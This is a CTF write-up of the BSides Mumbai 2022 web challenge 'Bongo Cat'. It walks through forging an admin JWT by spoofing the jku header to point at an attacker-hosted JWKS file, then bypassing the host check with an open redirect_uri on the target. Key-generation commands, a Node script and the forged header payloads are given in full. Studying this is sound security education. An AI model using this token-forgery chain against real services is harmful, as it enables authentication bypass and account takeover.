Home

/

CTFs

/

BSides Mumbai

/

Bongo Cat

Bongo Cat

Write up of the BSides Mumbai CTF 2022 challenge Bongo Cat.

WEB

~4 minutes

PimpMyShell

BSides Mumbai - Bongo Cat

This writeup is based on the challenge "Bongo Cat" from the BSides Mumbai CTF 2022.

Only a link was given, and on the website, we could give a name to the website. Once the name given, we could see a cat playing the bongo drums with the name we gave.

if "admin" was given as the name, we were denied access and redirected to the home page.

Investigation

Login page First sight of the challenge

Once "logged in" with something other that "admin", we can see that the website is using a JWT token to authenticate the user. The token is stored in the cookie of the browser.

Bongo cat Bongo cat and our name

We can decode the token using jwt.io. The token is a JWT token with the following header:

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "http://34.133.45.223/.well-known/jwks.json"
}

and the following payload:

{
  "user": "pimpmyshell"
}

I think we can start here !

Solution

By seeing the header, we can see that the token is signed with the RS256 algorithm. This algorithm uses a public key to verify the signature of the token. The public key is stored in the jku field of the header. This public key is a RSA public key.

{
  "kty": "RSA",
  "e": "AQAB",
  "use": "sig",
  "alg": "RS256",
  "n": "t036fB7up5nEX6B9EO-7JgRsJwL1yRbdIXqcOHl2UyXLFSUmG1I9BMIsXfdPNLL4Py0Nw5bjo7o7SrzQ5GWdht_bs3TGXbIL5GjQBZ9a7q6Uu08D_To47-uzmBi84zIDC023ThqPsaf4OGkmSYiC1DI4uumkcjgh7MNozUeQLo3fVw3tLHRhtxVmVrMr7kdSJWHpm4EEU9r7ozXcV8kPjOIqBXVCxrTql1NtMKe-fVcvpYQ9He1NBRTgFNFvc1j7ZQB7cd1b8o79qLIFH6EZmsLoOPgxeo6anIkfmnWb6lKbMK99n4Gyqdr9y88b3Fe6nM3T9mJEedLElsnfkf0jIufbt-3KhXxXp1kQTrQnFq3pOKSDoUS4ekEPOPCe9GAh6fchgG0y3IDsVZ22QG5DIERN4M-GMlRIxw6n1vAi1smmjoLYo282LHA-lVssKeI4uofgulLJwR5Z3qZWmxNNky_9NxuhNEw0CUFNgzOzywQB7mGS2gunqn2UnGOf2hA47SGGewUiDYvDEnRQW-dIAD6udw3wy_BvCb4zVaKAcQnDHrGJKX04TExa6dN7apwjO1LVGvnswHHhQKThbI_Sj_joNx7qBMU_EaqWCj2KYlzARuzacOreW6l-UQIrpgSII2X6nDHenkCrCKW0SrhcZOlrESNYVm8vxT4b3bUK9Kc"
}

jwks.json on their website

JWKS Spoofing is a vulnerability that allows an attacker to use a public key that he controls to sign a JWT token, and that might be our case here. The public key is stored on the website, and we can use it to sign a token. It is a good thing that we can manipulate the header and the payload of the token, by changing the jku field of the header, and the user field of the payload.

For this exploit, we will need a server and ssh into it, and generate a public/private key pair. We will use the private key to sign the token, and the public key to verify the signature. Type the following command to generate the key pair:

ssh-keygen -t rsa -b 2048 -m PEM -f id_rsa

and convert the public key to a PEM format:

openssl rsa -in id_rsa -pubout -outform PEM -out id_rsa.pub

Then we will need to use a nodejs script to get the exponent and modulus of the public key. We can use the following script, to replace them in the jwks.json file:

But first, we need to install the rsa-pem-to-jwk package:

npm install rsa-pem-to-jwk

Then we can use the following script to generate the token:

const fs = require("fs");
const jwk = require("rsa-pem-to-jwk");

const privateKey = fs.readFileSync("id_rsa");
const t = jwk(privateKey, { use: "sig" }, "public");

console.log("e = ", t.e); // get exponent
console.log("n = ", t.n); // get modulus

We got :

e =  AQAB
n =  AMtpDjg7XQ9nShAtV1VAy48nd0p_tYpwhOFxTDBzkgCJzWr2pE1TpyWhwB-gQYruLqrb896vDp-yaskJsTYvAiM2iPAPMJpB0QKnhilx71i5YT-5wBAKaCDzMqNBMY8Nw4AvPBY8B16aoaiLcn7Ghn69CaWqbpj8r2DlcpFfyaKDKGCYDtmXxM7gUm5n05h2vEruyky7yZLGsOdv0MA9nhShwOCI-z6OUQ30yn8pN_pWduukDu5fysM2RPHj-8ran7DQcHna2kGsRaAvswARHNq_qHLzCfcxi385K6fbHNv1409xtqNJ5HR5O9TB9qaI-aiFBi_KBd1blMM-G0EchGc

We can now download the original jwks.json file, and replace the exponent and modulus with the ones we got from the script. We can now use the public key to sign a token, and use the private key to verify the signature.

wget http://34.133.45.223/.well-known/jwks.json

We then replace the exponent and modulus with the ones we got from the script :

{
  "kty": "RSA",
  "e": "AQAB",
  "use": "sig",
  "alg": "RS256",
  "n": "AMtpDjg7XQ9nShAtV1VAy48nd0p_tYpwhOFxTDBzkgCJzWr2pE1TpyWhwB-gQYruLqrb896vDp-yaskJsTYvAiM2iPAPMJpB0QKnhilx71i5YT-5wBAKaCDzMqNBMY8Nw4AvPBY8B16aoaiLcn7Ghn69CaWqbpj8r2DlcpFfyaKDKGCYDtmXxM7gUm5n05h2vEruyky7yZLGsOdv0MA9nhShwOCI-z6OUQ30yn8pN_pWduukDu5fysM2RPHj-8ran7DQcHna2kGsRaAvswARHNq_qHLzCfcxi385K6fbHNv1409xtqNJ5HR5O9TB9qaI-aiFBi_KBd1blMM-G0EchGc"
}

Local modified version of jwks.json

We can now launch a python server to serve the jwks.json file:

python3 -m http.server 8080

and then re-open jwt.io with our previous data, modify the jku field to point to our server, and sign the token with the private key.

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "http://yourserver:8080/jwks.json"
}

Header

{
  "user": "admin"
}

Payload

We can now modify our cookie with the new token, and refresh the page, and ...

oops Oops

Jku validation failed, jku url doesnt match with origin host

If we inspect a little bit more the login process, we can see this in the network tab of the browser:

jku

We can see that a route exist that make a redirection to a given url :

redirect_uri=/dashboard

We may put out website as a redirect_uri, and see what happens. We can use the following payload to do so, here is the new payload :

{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "http://34.133.45.223/?redirect_uri=http://yourserver:8080/jwks.json"
}

We can now set our new cookie, and refresh the page, and we get the flag !

flag Bingo